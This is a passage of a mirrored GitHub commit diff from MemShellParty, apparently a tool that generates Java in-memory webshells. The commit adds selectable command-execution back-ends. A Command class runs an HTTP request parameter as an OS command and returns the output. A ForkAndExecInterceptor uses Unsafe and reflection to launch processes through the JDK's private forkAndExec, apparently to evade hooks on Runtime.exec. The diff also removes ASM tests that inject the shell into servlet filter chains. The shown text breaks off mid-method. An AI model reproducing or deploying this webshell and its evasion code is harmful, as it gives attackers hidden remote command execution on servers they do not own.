mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 08:21:52 +08:00
feat: support custom command implementation
This commit is contained in:
+1
-1
@@ -48,7 +48,7 @@ dependencies {
|
|||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
}
|
}
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
@@ -61,8 +62,11 @@ public class ConfigController {
|
|||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/command/encryptors")
|
@GetMapping("/command/configs")
|
||||||
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
public CommandConfigVO getCommandConfigs() {
|
||||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
|
return commandConfigVO;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,6 +29,7 @@ public class GenerateRequest {
|
|||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
private String encryptor;
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -50,6 +51,7 @@ public class GenerateRequest {
|
|||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
@Builder.Default
|
||||||
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
|
||||||
|
public enum ImplementationClass {
|
||||||
|
RuntimeExec, ForkAndExec;
|
||||||
|
|
||||||
|
public static ImplementationClass fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||||
|
return ForkAndExec;
|
||||||
|
}
|
||||||
|
return RuntimeExec;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, DOUBLE_BASE64;
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
|||||||
+10
-4
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
|
|||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -68,6 +68,12 @@ public class CommandGenerator {
|
|||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+107
@@ -0,0 +1,107 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class ForkAndExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
try {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
try {
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
int mode = 0;
|
||||||
|
try {
|
||||||
|
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||||
|
value.setAccessible(true);
|
||||||
|
mode = (Integer) value.get(launchMechanismObject);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
mode = ordinal + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK7
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class RuntimeExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
-173
@@ -1,173 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.extension.ExtendWith;
|
|
||||||
import org.mockito.Mock;
|
|
||||||
import org.mockito.junit.jupiter.MockitoExtension;
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.File;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/30
|
|
||||||
*/
|
|
||||||
@ExtendWith(MockitoExtension.class)
|
|
||||||
public class CommandFilterChainASMTest {
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
HttpServletRequest mockRequest;
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
HttpServletResponse mockResponse;
|
|
||||||
|
|
||||||
Object instance;
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static class CustomMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type customEqualsType;
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
Command.paramName = "paramName";
|
|
||||||
className = Command.class.getName();
|
|
||||||
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
@SneakyThrows
|
|
||||||
void setUp() {
|
|
||||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if ("doFilter".equals(name)) {
|
|
||||||
Type[] argTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new CustomMethodVisitor(mv, argTypes);
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
|
||||||
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
|
||||||
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
|
||||||
instance = spy(clazz.newInstance());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testInvokeParam() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
|
||||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
|
||||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
|
||||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
|
||||||
assertTrue(output.contains("uid="));
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testNotParameter() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-73
@@ -1,73 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
import org.objectweb.asm.commons.AdviceAdapter;
|
|
||||||
import org.objectweb.asm.commons.Method;
|
|
||||||
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/15
|
|
||||||
*/
|
|
||||||
public class CommandNormalASMTest {
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void test() {
|
|
||||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if ("doFilter".equals(name)) {
|
|
||||||
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
|
||||||
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
|
|
||||||
}
|
|
||||||
|
|
||||||
static class Hello {
|
|
||||||
@Override
|
|
||||||
public boolean equals(Object obj) {
|
|
||||||
System.out.println("hello world");
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
|
|
||||||
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
|
|
||||||
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
|
|
||||||
private final Type customEqualsType;
|
|
||||||
|
|
||||||
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
|
|
||||||
super(Opcodes.ASM9, mv, access, name, descriptor);
|
|
||||||
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void onMethodEnter() {
|
|
||||||
loadArgArray();
|
|
||||||
newInstance(customEqualsType);
|
|
||||||
dup();
|
|
||||||
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
|
|
||||||
swap();
|
|
||||||
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
|
|
||||||
Label skipReturnLabel = new Label();
|
|
||||||
mv.visitJumpInsn(IFEQ, skipReturnLabel);
|
|
||||||
mv.visitInsn(RETURN);
|
|
||||||
mark(skipReturnLabel);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+6
-109
@@ -1,11 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,10 +11,14 @@ import java.lang.reflect.Method;
|
|||||||
public class Command {
|
public class Command {
|
||||||
public static String paramName;
|
public static String paramName;
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean equals(Object obj) {
|
public boolean equals(Object obj) {
|
||||||
Object[] args = ((Object[]) obj);
|
Object[] args = ((Object[]) obj);
|
||||||
@@ -26,12 +27,7 @@ public class Command {
|
|||||||
try {
|
try {
|
||||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -46,105 +42,6 @@ public class Command {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
public InputStream getInputStream(String cmd) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
